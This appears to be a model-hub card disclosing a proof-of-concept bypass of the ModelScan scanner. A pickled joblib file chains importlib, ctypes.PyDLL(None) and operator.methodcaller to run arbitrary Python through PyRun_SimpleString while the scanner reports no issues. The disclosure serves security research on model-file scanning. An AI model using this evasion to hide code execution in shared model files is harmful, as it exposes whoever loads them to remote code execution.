ModelScan PyDLL PyRun_SimpleString Bypass
Uses ctypes.PyDLL(None).PyRun_SimpleString(arbitrary_python_code) to execute any Python code directly through CPython's C API.
Bypass GLOBALs (what modelscan sees)
importlib.import_moduleβ NOT in unsafe_globalsctypes.PyDLLβ NOT in unsafe_globalsoperator.methodcallerβ NOT in unsafe_globals
Mechanism
- Import
ctypesviaimportlib.import_module('ctypes') - Create
ctypes.PyDLL(None)(Python DLL handle) - Call
operator.methodcaller('PyRun_SimpleString', code)(pydll) - β
PyDLL(None).PyRun_SimpleString(code)β executes Python code via CPython C API
Why This Is Different
manja316 has modelscan-ctypes-rce-bypass using CDLL(None).system(). This approach uses PyDLL(None).PyRun_SimpleString() β a completely different function that executes arbitrary PYTHON code, not just shell commands.
Impact
Full RCE with arbitrary Python code. No blocked modules involved.
Verification
modelscan -p exploit_pydll.joblib
# -> "No issues found!"
Inference Providers NEW
This model isn't deployed by any Inference Provider. π Ask for provider support